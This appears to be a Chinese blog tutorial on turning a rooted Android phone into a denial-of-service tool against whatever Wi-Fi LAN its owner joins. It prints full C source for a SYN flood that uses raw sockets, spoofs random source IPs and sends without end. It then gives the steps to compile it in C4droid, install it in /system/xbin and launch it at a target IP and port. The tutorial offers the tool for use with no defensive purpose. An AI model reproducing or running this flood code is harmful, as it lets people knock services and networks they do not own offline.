拿着手机连接WIFI,走到哪里 随时随打WIFI局域网

手机效果图

IMG_20201114_145218.jpg

材料

  1. 一台已root手机 这里用得小米 9
  2. C4droid 用于编译c++ 文件

代码例子

  1. 编程语言C++ (Linux)
  2. 测试系统Android 10 小米9
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include "error.h"
#include<netdb.h>
#define IP_HEADER_LEN sizeof(struct ip)
#define TCP_HEADER_LEN sizeof(struct tcphdr)//TCP
#define IP_TCP_HEADER_LEN IP_HEADER_LEN+TCP_HEADER_LEN
#define LOCALPORT 5834 //本地端口
void err_exit(const char *err_msg) {
    perror(err_msg);
    exit(1);
}
struct ip *fill_ip_header(int ip_packet_len) {
    struct ip *ip_header;
    ip_header = (struct ip *) malloc(IP_HEADER_LEN);
    ip_header->ip_v = IPVERSION;
    ip_header->ip_hl = sizeof(struct ip) / 4;
    ip_header->ip_tos = 0;
    ip_header->ip_len = htons(ip_packet_len);
    ip_header->ip_id = 0;
    ip_header->ip_off = 0;
    ip_header->ip_ttl = MAXTTL;
    ip_header->ip_p = IPPROTO_TCP;
    ip_header->ip_sum = 0;
    return ip_header;
}
struct tcphdr *fill_tcp_header(int dst_port) {
    struct tcphdr *tcp_header;
    tcp_header = (struct tcphdr *) malloc(TCP_HEADER_LEN);
    tcp_header->source = htons(LOCALPORT);
    tcp_header->dest = htons(dst_port);
    tcp_header->doff = 5;
    tcp_header->syn = 1;
    tcp_header->seq = random();
    tcp_header->ack_seq = 0;
    tcp_header->check = 0;
    return tcp_header;
}
void ip_tcp_send(const char *dst_ip, int dst_port, int sockfd) {
    struct ip *ip_header;
    struct tcphdr *tcp_header;
    struct sockaddr_in dst_addr;
    struct hostent *host;
    socklen_t sock_addrlen = sizeof(struct sockaddr_in);
    int ip_packet_len = IP_TCP_HEADER_LEN;
    char buf[ip_packet_len];
    host=gethostbyname(dst_ip);
    bzero(&dst_addr, sock_addrlen);
    dst_addr.sin_family = PF_INET;
    dst_addr.sin_addr= *(struct in_addr *)(host->h_addr_list[0]); ;
    dst_addr.sin_port = htons(dst_port);
    ip_header = fill_ip_header(ip_packet_len);
    ip_header->ip_dst=dst_addr.sin_addr;
    tcp_header = fill_tcp_header(dst_port);
    memcpy(buf, ip_header, IP_HEADER_LEN);
    memcpy(buf + IP_HEADER_LEN, tcp_header, TCP_HEADER_LEN);
    printf("开始 DDOS攻击..........\n");
    while (1) {
        ip_header->ip_src.s_addr = random();
        sendto(sockfd, buf, ip_packet_len, 0, (struct sockaddr *) &dst_addr,
                sock_addrlen);
    }
}
int main(int argc, const char *argv[]) {
    if(argc < 2)
    {
        printf("用法:%s IP 端口\n", argv[0]);
        exit(1);
    }
    int sockfd, on = 1;
    if ((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
        err_exit("socket()");
    else
        printf("套接字创建成功!!!\n");
    if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1)
        err_exit("setsockopt()");
    else
        printf("设置套接字选项成功\n");
    printf("开始攻击..............\n");
    setuid(getpid());
    ip_tcp_send(argv[1], atoi(argv[2]), sockfd);
    close(sockfd);
    return 0;
}

软件设置

在设置里面选择以root运行

IMG_20201114_144003.jpg

编译

点击编译出现报错
翻译过来 没有error.h文件

IMG_20201114_144040.jpg

导入error.h

把如下源码导入到/data/data/com.n0n3m4.droidc/files
该目录为C4droid 目录
保存为error.h如图:
IMG_20201114_150348.jpg

error.h头文件

#ifndef _ERROR_H
#define _ERROR_H 1

#include <features.h>


__BEGIN_DECLS

extern void error (int __status, int __errnum, const char *__format, ...)
     __attribute__ ((__format__ (__printf__, 3, 4)));

extern void error_at_line (int __status, int __errnum, const char *__fname,
               unsigned int __lineno, const char *__format, ...)
     __attribute__ ((__format__ (__printf__, 5, 6)));

extern void (*error_print_progname) (void);

extern unsigned int error_message_count;

extern int error_one_per_line;

#ifdef __LDBL_COMPAT
# include <bits/error-ldbl.h>
#else
# if defined __extern_always_inline && defined __va_arg_pack
#  include <bits/error.h>
# endif
#endif

__END_DECLS

#endif 

编译ddos

IMG_20201114_151009.jpg

编译完成 /data/data/com.n0n3m4.droidc/files 目录下会多出一个temp文件

这个就是需要到得可执行 二进制文件了

temp文件 重命名为ddos复制到/system/xbin目录下

如下图

IMG_20201114_151846.jpg

使用ddos

使用安卓任意Linux终端软件
MT管理器自带得也好,橘子也好

打开本地手机终端

su - root
#先获取手机root权限

ddos
#执行刚才复制得ddos文件
无问题正常

ddos 192.168.1.123 80
# 对目标IP 80 端口TCP攻击

效果如下

IMG_20201114_145218.jpg

最后修改:2021 年 07 月 28 日
如果觉得我的文章对你有用,请随意赞赏